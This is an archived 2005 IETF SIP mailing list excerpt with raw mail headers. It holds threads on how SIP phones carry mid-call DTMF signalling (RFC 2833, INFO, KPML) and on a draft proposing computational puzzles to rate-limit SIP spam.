http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-=20 > > hashcash-01.html > > > > Cullen > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > David R. Oran > Cisco Fellow > Cisco Systems > 7 Ladyslipper Lane > Acton, MA 01720 USA > Tel: +1 978 264 2048 > Email: oran@cisco.com >=20 >=20 ------_=_NextPart_001_01C51ACA.D094844E Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [Sip] draft-jennings-sip-hashcash-01

Hi Dave,

I understand this. I guess I wasn't clear.

It is in the OTHER direction that I see a problem. I = mean when the UAC
is, for example, a big gateway.

In other words, if a bunch of SIP "phones" = UAS all decide to send 419's to
the UAC in the Gateway.


> -----Original Message-----
> From: David R Oran [mailto:oran@cisco.com]
> Sent: Thursday, February 24, 2005 12:53
> To: Audet, Francois [SC100:9T51:EXCH]
> Cc: 'Cullen Jennings'; 'sip@ietf.org'
> Subject: Re: [Sip] = draft-jennings-sip-hashcash-01
>
>
>
> On Feb 24, 2005, at 2:30 PM, Francois Audet = wrote:
>
> > We may need to explain some of the = limitations of this. It
> seems to me
> > that this mechanism would not be terribly = appropriate for
> applications 
> > that aggregate a large number of clients = onto a single
> platform. For 
> > example, this may be too computationally = intensive for a
> large PSTN 
> > Gateway, or even a large Proxy.
> > =A0
> That's the whole point! It's to prevent too = many calls from
> one place. 
> It's always under the calling UACs prerogative = to give up
> with "what a 
> bozo who wants me to blow smoke out of my = Pentium for 2000ms.
> Guess he 
> doesn't want to get the call, huh"?
>
> I suspect a decently managed UA would only = force you not the puzzle 
> palace if you weren't on the buddy list, or = some other whitelist.
>
> > Any ideas of how a UAS would make the = decision to send the
> 419 without
> > burdening the UAC? Should there be a = supported/require
> header for this 
> > functionality, so that a UAC could = "opt out"?
> If the UAC can opt out the whole exercise is = useless.
>
> > -----Original Message-----
> > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] = On
> Behalf Of
> > Cullen Jennings
> > Sent: Tuesday, February 22, 2005 = 16:46
> > To: sip@ietf.org
> > Subject: [Sip] = draft-jennings-sip-hashcash-01
> >
> >
> > I updated this draft on "SIP = Computational Puzzles" so it
> has enough 
> > detail to implement it. (Previous version = did not). It is in the 
> > drafts directory and also in HTML form = at:
> >
> >
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft= -jennings-sip-
> > hashcash-01.html
> >
> > Cullen
> > = _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the = core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for = questions on current sip
> > Use sipping@ietf.org for new developments = on the application of sip
> David R. Oran
> Cisco Fellow
> Cisco Systems
> 7 Ladyslipper Lane
> Acton, MA 01720 USA
> Tel: +1 978 264 2048
> Email: oran@cisco.com
>
>

------_=_NextPart_001_01C51ACA.D094844E-- --===============1234877586== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1234877586==-- From sip-bounces@ietf.org Fri Feb 25 00:06:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06662 for ; Fri, 25 Feb 2005 00:06:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Xgh-0006oF-1D for sip-web-archive@ietf.org; Fri, 25 Feb 2005 00:06:51 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Xde-0006Cg-2Q; Fri, 25 Feb 2005 00:03:42 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4XdY-000660-VB for sip@megatron.ietf.org; Fri, 25 Feb 2005 00:03:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06352 for ; Fri, 25 Feb 2005 00:03:34 -0500 (EST) Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Xdc-0006ja-9M for sip@ietf.org; Fri, 25 Feb 2005 00:03:41 -0500 Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id BC89318001A9 for ; Fri, 25 Feb 2005 05:03:25 +0000 (GMT) X-OB-Received: from unknown (205.158.62.81) by wfilter.us4.outblaze.com; 25 Feb 2005 05:03:25 -0000 Received: by ws1-2.us4.outblaze.com (Postfix, from userid 1001) id 652AE1F50B1; Fri, 25 Feb 2005 05:03:25 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [15.219.201.70] by ws1-2.us4.outblaze.com with http for banzie@mail.com; Fri, 25 Feb 2005 00:03:24 -0500 From: "Ban Zie" To: "Louis Alexander" , "'Fatih Ey|p NAR'" , sip@ietf.org Date: Fri, 25 Feb 2005 00:03:24 -0500 Subject: RE: [Sip] midcall signalling X-Originating-Ip: 15.219.201.70 X-Originating-Server: ws1-2.us4.outblaze.com Message-Id: <20050225050325.652AE1F50B1@ws1-2.us4.outblaze.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 386e0819b1192672467565a524848168 Content-Transfer-Encoding: quoted-printable X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cf3becbbd6d1a45acbe2ffd4ab88bdc2 Content-Transfer-Encoding: quoted-printable Thank you for your responses Fatih & Louis, they are very helpful. Is there a "common minimum" set for SIP phones on which mechanism(s) to use= for midcall signalling ? i.e. the recipient of such signalling (which in my case would be a minimali= stic IVR / B2BUA), should be prepared to receive such signalling in all these forms, or is it suffici= ent to pick one -- say the inband DTMF ? I do not have access to a SIP hard-phone (yet! but should= be getting one soon), so do the sip phones s.a. CISCO's, PingTel's, SNOM's have some configuration t= o select which kind of midcall signalling they'd send ? cheers, zie. ----- Original Message ----- From: "Louis Alexander" To: "'Fatih Ey|p NAR'" , "'Ban Zie'" , si= p@ietf.org Subject: RE: [Sip] midcall signalling Date: Thu, 24 Feb 2005 17:00:32 -0500 >=20 > Of course, plain old inband dtmf (the DTMF tones encoded as audio packets, > NOT 2833 tones) is still legal as well :) >=20 > --Louis >=20 > -----Original Message----- > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Fat= ih > Ey|p NAR > Sent: Thursday, February 24, 2005 4:45 PM > To: Ban Zie; sip@ietf.org > Subject: Re: [Sip] midcall signalling >=20 > SIP DMTF signalling is done with INFO messages or with > RTP messages, the media protocol. This is defined in > http://www.ietf.org/rfc/rfc2833.txt - IETF RFC 2833 >=20 >=20 > --- Ban Zie wrote: >=20 > > hello, > > is there 100% agreement / concensus on how midcall > > signalling data is to be carried in sip ? > > when 2 SIP UA's are alrady in conversation, then if > > one user presses some keys on his keypad, are they > > transmitted as DTMF on RTP, or how exactly is it > > done ? > > cheers, > > bzie. > > -- > ___________________________________________________________ > > Sign-up for Ads Free at Mail.com > > http://promo.mail.com/adsfreejump.htm > > > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP > > Protocol > > Use sip-implementors@cs.columbia.edu for questions > > on current sip > > Use sipping@ietf.org for new developments on the > > application of sip > > >=20 >=20 > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com >=20 > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip >=20 > ______________________________________________________________________ > This email has been scanned by the MessageLabs Email Security System. > For more information please visit http://www.messagelabs.com/email > ______________________________________________________________________ --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 25 09:06:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17421 for ; Fri, 25 Feb 2005 09:06:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4g7S-0001Oi-AC for sip-web-archive@ietf.org; Fri, 25 Feb 2005 09:07:02 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4g2l-0008Ep-JN; Fri, 25 Feb 2005 09:02:11 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4g2k-0008Eh-CX for sip@megatron.ietf.org; Fri, 25 Feb 2005 09:02:10 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16816 for ; Fri, 25 Feb 2005 09:02:08 -0500 (EST) Received: from wproxy.gmail.com ([64.233.184.203]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4g2s-0001FI-14 for sip@ietf.org; Fri, 25 Feb 2005 09:02:19 -0500 Received: by wproxy.gmail.com with SMTP id 58so443465wri for ; Fri, 25 Feb 2005 06:01:59 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=UULy3ejzWwoIV62fGHcPcpGAj8ntszZtPda8RuPefORRXBskQvKtDfVVAHedq3RofoiJ0cSDtqa+tNQcVUWZeEXdEWX3HhYyCUKzXoZOEKjdmF8EPillvTIEAEg5L5+vV3VAHxgup8Yen669DCAQfUMBB+z4JTGEK/k84EGFhPk= Received: by 10.54.54.78 with SMTP id c78mr111350wra; Fri, 25 Feb 2005 06:01:59 -0800 (PST) Received: by 10.54.3.70 with HTTP; Fri, 25 Feb 2005 06:01:59 -0800 (PST) Message-ID: Date: Fri, 25 Feb 2005 11:01:59 -0300 From: Mariano Stokle To: Ban Zie Subject: Re: [Sip] midcall signalling In-Reply-To: <20050225050325.652AE1F50B1@ws1-2.us4.outblaze.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050225050325.652AE1F50B1@ws1-2.us4.outblaze.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 6e922792024732fb1bb6f346e63517e4 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, Louis Alexander X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Mariano Stokle List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 944ecb6e61f753561f559a497458fb4f Content-Transfer-Encoding: 7bit You should also check http://www.ietf.org/internet-drafts/draft-ietf-sipping-kpml-07.txt On Fri, 25 Feb 2005 00:03:24 -0500, Ban Zie wrote: > Thank you for your responses Fatih & Louis, they are very helpful. > > Is there a "common minimum" set for SIP phones on which mechanism(s) to use for midcall signalling ? > i.e. the recipient of such signalling (which in my case would be a minimalistic IVR / B2BUA), should > be prepared to receive such signalling in all these forms, or is it sufficient to pick one -- say > the inband DTMF ? I do not have access to a SIP hard-phone (yet! but should be getting one soon), so > do the sip phones s.a. CISCO's, PingTel's, SNOM's have some configuration to select which kind of > midcall signalling they'd send ? > > cheers, > zie. > > ----- Original Message ----- > From: "Louis Alexander" > To: "'Fatih Ey|p NAR'" , "'Ban Zie'" , sip@ietf.org > Subject: RE: [Sip] midcall signalling > Date: Thu, 24 Feb 2005 17:00:32 -0500 > > > > > Of course, plain old inband dtmf (the DTMF tones encoded as audio packets, > > NOT 2833 tones) is still legal as well :) > > > > --Louis > > > > -----Original Message----- > > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Fatih > > Ey|p NAR > > Sent: Thursday, February 24, 2005 4:45 PM > > To: Ban Zie; sip@ietf.org > > Subject: Re: [Sip] midcall signalling > > > > SIP DMTF signalling is done with INFO messages or with > > RTP messages, the media protocol. This is defined in > > http://www.ietf.org/rfc/rfc2833.txt - IETF RFC 2833 > > > > > > --- Ban Zie wrote: > > > > > hello, > > > is there 100% agreement / concensus on how midcall > > > signalling data is to be carried in sip ? > > > when 2 SIP UA's are alrady in conversation, then if > > > one user presses some keys on his keypad, are they > > > transmitted as DTMF on RTP, or how exactly is it > > > done ? > > > cheers, > > > bzie. > > > -- > > ___________________________________________________________ > > > Sign-up for Ads Free at Mail.com > > > http://promo.mail.com/adsfreejump.htm > > > > > > > > > _______________________________________________ > > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > > This list is for NEW development of the core SIP > > > Protocol > > > Use sip-implementors@cs.columbia.edu for questions > > > on current sip > > > Use sipping@ietf.org for new developments on the > > > application of sip > > > > > > > > > __________________________________________________ > > Do You Yahoo!? > > Tired of spam? Yahoo! Mail has the best spam protection around > > http://mail.yahoo.com > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > > > > ______________________________________________________________________ > > This email has been scanned by the MessageLabs Email Security System. > > For more information please visit http://www.messagelabs.com/email > > ______________________________________________________________________ > > -- > ___________________________________________________________ > Sign-up for Ads Free at Mail.com > http://promo.mail.com/adsfreejump.htm > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > -- Mariano Stokle SIP Rules _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 25 09:26:29 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19814 for ; Fri, 25 Feb 2005 09:26:29 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4gQR-0001yJ-Uo for sip-web-archive@ietf.org; Fri, 25 Feb 2005 09:26:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4gPU-0000in-HB; Fri, 25 Feb 2005 09:25:40 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4gPS-0000iX-Jn for sip@megatron.ietf.org; Fri, 25 Feb 2005 09:25:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19718 for ; Fri, 25 Feb 2005 09:25:36 -0500 (EST) Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4gPa-0001wo-6s for sip@ietf.org; Fri, 25 Feb 2005 09:25:47 -0500 Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id 6CF231800292 for ; Fri, 25 Feb 2005 14:25:27 +0000 (GMT) X-OB-Received: from unknown (205.158.62.49) by wfilter.us4.outblaze.com; 25 Feb 2005 14:25:27 -0000 Received: by ws1-1.us4.outblaze.com (Postfix, from userid 1001) id E43964BDAA; Fri, 25 Feb 2005 14:25:26 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [15.219.201.70] by ws1-1.us4.outblaze.com with http for banzie@mail.com; Fri, 25 Feb 2005 09:25:26 -0500 From: "Ban Zie" To: "Mariano Stokle" Date: Fri, 25 Feb 2005 09:25:26 -0500 Subject: Re: [Sip] midcall signalling X-Originating-Ip: 15.219.201.70 X-Originating-Server: ws1-1.us4.outblaze.com Message-Id: <20050225142526.E43964BDAA@ws1-1.us4.outblaze.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 8fbbaa16f9fd29df280814cb95ae2290 Content-Transfer-Encoding: quoted-printable Cc: sip@ietf.org, Louis Alexander X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6640e3bbe8a4d70c4469bcdcbbf0921d Content-Transfer-Encoding: quoted-printable Thank you, all. After researching the features of various commercial & free sip phones (har= d & soft), I've reached the conclusion that rfc2833 is the most common appr= oach, and almost every phone (actually i didn't find an exception so far) s= eems to implement it. cheers, z. ----- Original Message ----- From: "Mariano Stokle" To: "Ban Zie" Subject: Re: [Sip] midcall signalling Date: Fri, 25 Feb 2005 11:01:59 -0300 >=20 > You should also check > http://www.ietf.org/internet-drafts/draft-ietf-sipping-kpml-07.txt >=20 >=20 > On Fri, 25 Feb 2005 00:03:24 -0500, Ban Zie wrote: > > Thank you for your responses Fatih & Louis, they are very helpful. > > > > Is there a "common minimum" set for SIP phones on which=20 > > mechanism(s) to use for midcall signalling ? > > i.e. the recipient of such signalling (which in my case would be=20 > > a minimalistic IVR / B2BUA), should > > be prepared to receive such signalling in all these forms, or is=20 > > it sufficient to pick one -- say > > the inband DTMF ? I do not have access to a SIP hard-phone (yet!=20 > > but should be getting one soon), so > > do the sip phones s.a. CISCO's, PingTel's, SNOM's have some=20 > > configuration to select which kind of > > midcall signalling they'd send ? > > > > cheers, > > zie. > > > > ----- Original Message ----- > > From: "Louis Alexander" > > To: "'Fatih Ey|p NAR'" , "'Ban Zie'"=20 > > , sip@ietf.org > > Subject: RE: [Sip] midcall signalling > > Date: Thu, 24 Feb 2005 17:00:32 -0500 > > > > > > > > Of course, plain old inband dtmf (the DTMF tones encoded as audio pac= kets, > > > NOT 2833 tones) is still legal as well :) > > > > > > --Louis > > > > > > -----Original Message----- > > > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of= Fatih > > > Ey|p NAR > > > Sent: Thursday, February 24, 2005 4:45 PM > > > To: Ban Zie; sip@ietf.org > > > Subject: Re: [Sip] midcall signalling > > > > > > SIP DMTF signalling is done with INFO messages or with > > > RTP messages, the media protocol. This is defined in > > > http://www.ietf.org/rfc/rfc2833.txt - IETF RFC 2833 > > > > > > > > > --- Ban Zie wrote: > > > > > > > hello, > > > > is there 100% agreement / concensus on how midcall > > > > signalling data is to be carried in sip ? > > > > when 2 SIP UA's are alrady in conversation, then if > > > > one user presses some keys on his keypad, are they > > > > transmitted as DTMF on RTP, or how exactly is it > > > > done ? > > > > cheers, > > > > bzie. > > > > -- > > > ___________________________________________________________ > > > > Sign-up for Ads Free at Mail.com > > > > http://promo.mail.com/adsfreejump.htm > > > > > > > > > > > > _______________________________________________ > > > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > > > This list is for NEW development of the core SIP > > > > Protocol > > > > Use sip-implementors@cs.columbia.edu for questions > > > > on current sip > > > > Use sipping@ietf.org for new developments on the > > > > application of sip > > > > > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Tired of spam? Yahoo! Mail has the best spam protection around > > > http://mail.yahoo.com > > > > > > _______________________________________________ > > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > > This list is for NEW development of the core SIP Protocol > > > Use sip-implementors@cs.columbia.edu for questions on current sip > > > Use sipping@ietf.org for new developments on the application of sip > > > > > > ______________________________________________________________________ > > > This email has been scanned by the MessageLabs Email Security System. > > > For more information please visit http://www.messagelabs.com/email > > > ______________________________________________________________________ > > > > -- > > ___________________________________________________________ > > Sign-up for Ads Free at Mail.com > > http://promo.mail.com/adsfreejump.htm > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > > >=20 >=20 > -- > Mariano Stokle > SIP Rules --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 25 09:41:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21258 for ; Fri, 25 Feb 2005 09:41:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4gec-0002Kw-Mm for sip-web-archive@ietf.org; Fri, 25 Feb 2005 09:41:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4gdO-00039f-At; Fri, 25 Feb 2005 09:40:02 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4gdM-00037w-By for sip@megatron.ietf.org; Fri, 25 Feb 2005 09:40:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21132 for ; Fri, 25 Feb 2005 09:39:57 -0500 (EST) Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4gdS-0002I2-OP for sip@ietf.org; Fri, 25 Feb 2005 09:40:09 -0500 Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id A93321800121 for ; Fri, 25 Feb 2005 14:39:48 +0000 (GMT) X-OB-Received: from unknown (205.158.62.50) by wfilter.us4.outblaze.com; 25 Feb 2005 14:39:47 -0000 Received: by ws1-4.us4.outblaze.com (Postfix, from userid 1001) id 89C22164005; Fri, 25 Feb 2005 14:39:47 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [15.219.201.70] by ws1-4.us4.outblaze.com with http for banzie@mail.com; Fri, 25 Feb 2005 09:39:46 -0500 From: "Ban Zie" To: "Mariano Stokle" Date: Fri, 25 Feb 2005 09:39:46 -0500 Subject: Re: [Sip] midcall signalling X-Originating-Ip: 15.219.201.70 X-Originating-Server: ws1-4.us4.outblaze.com Message-Id: <20050225143947.89C22164005@ws1-4.us4.outblaze.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Content-Transfer-Encoding: quoted-printable Cc: sip@ietf.org, Louis Alexander X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: quoted-printable Hello Mariano: > You should also check > http://www.ietf.org/internet-drafts/draft-ietf-sipping-kpml-07.txt I quickly skimmed thru this I-D, and it appears to me that this is more lik= ely to be associated as a Event delivery medium between and IVR / G/w / Tra= nscoder and a SIP AppServer. In my scenario, i.e. UA <----> UA, this doesn'= t seem reasonable thing to do. Here the second-UA is like a Telephonic cred= it-card payment gateway. -z --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 25 11:04:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03173 for ; Fri, 25 Feb 2005 11:04:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4hxK-00050U-Sj for sip-web-archive@ietf.org; Fri, 25 Feb 2005 11:04:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4hwP-0000mG-VV; Fri, 25 Feb 2005 11:03:45 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4hwN-0000ll-T6 for sip@megatron.ietf.org; Fri, 25 Feb 2005 11:03:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03067 for ; Fri, 25 Feb 2005 11:03:41 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4hwV-0004zC-D8 for sip@ietf.org; Fri, 25 Feb 2005 11:03:54 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-5.cisco.com with ESMTP; 25 Feb 2005 08:04:07 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,117,1107763200"; d="scan'208,217"; a="163653723:sNHT45095400" Received: from vtg-um-e2k4.sj21ad.cisco.com (vtg-um-e2k4.cisco.com [171.70.93.57]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j1PG3UYO008723; Fri, 25 Feb 2005 08:03:30 -0800 (PST) Received: from [127.0.0.1] ([171.68.225.134]) by vtg-um-e2k4.sj21ad.cisco.com with Microsoft SMTPSVC(6.0.3790.0); Fri, 25 Feb 2005 08:03:30 -0800 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Fri, 25 Feb 2005 08:03:28 -0800 Subject: Re: [Sip] draft-jennings-sip-hashcash-01 From: Cullen Jennings To: Francois Audet , "sip@ietf.org" Message-ID: In-Reply-To: <1ECE0EB50388174790F9694F77522CCF01980017@zrc2hxm0.corp.nortel.com> Mime-version: 1.0 X-OriginalArrivalTime: 25 Feb 2005 16:03:30.0460 (UTC) FILETIME=[8C92E5C0:01C51B53] X-Spam-Score: 1.2 (+) X-Scan-Signature: 202a3ece0492a8c7e7c8672d5214398f X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0200368865==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 1.2 (+) X-Scan-Signature: 311e798ce51dbeacf5cdfcc8e9fda21b > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0200368865== Content-type: multipart/alternative; boundary="B_3192163409_5968357" > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --B_3192163409_5968357 Content-type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit The idea would be to have a very skewed amount of computation to help rate limit attacks. Whatever amount of computation is "reasonable" for a valid client to do, an attacker is going to be able to apply a lot more computation to the problem. However, this still limits the number of messages the attacker can do and thus raises the cost. I discuss this some what in the SPAM draft. This could all happen in different ways. Imagine a case where my enterprise proxy compute the puzzles on behalf of my phone when I call another domain. Say in a large enterprise, it has 10,000 people and during a busy hour makes 10 calls per second that are to an address external to the domain. Of these only 2 are not whitelists. If the enterprise proxy was willing to spend say 3GHz worth of CPU at computing challenges for these 2cps, well that is a pretty hefty amount of hash that could be required. Another ways is perhaps all the UAC are willing to do about the amount of hashing that 1 second of G.729 compression would take. It's hard to imagine that most UAs (even large GWs) could not do this. This would limit the rate of attack of a single computer to in the 100s of messages per second. This is a lot less hashing that the example above but contrast this to what is possible today. Today I can send in the order of 100,000 message per second. Increasing the cost of an attack by 1000 is good. It slows it down and give you time to trace the source and cut it off before it is everywhere. It makes is less worth while to advertise products that a very very small percentage of the receivers would buy. As discussed in the SPAM draft, you would always want to use white lists first then if the person 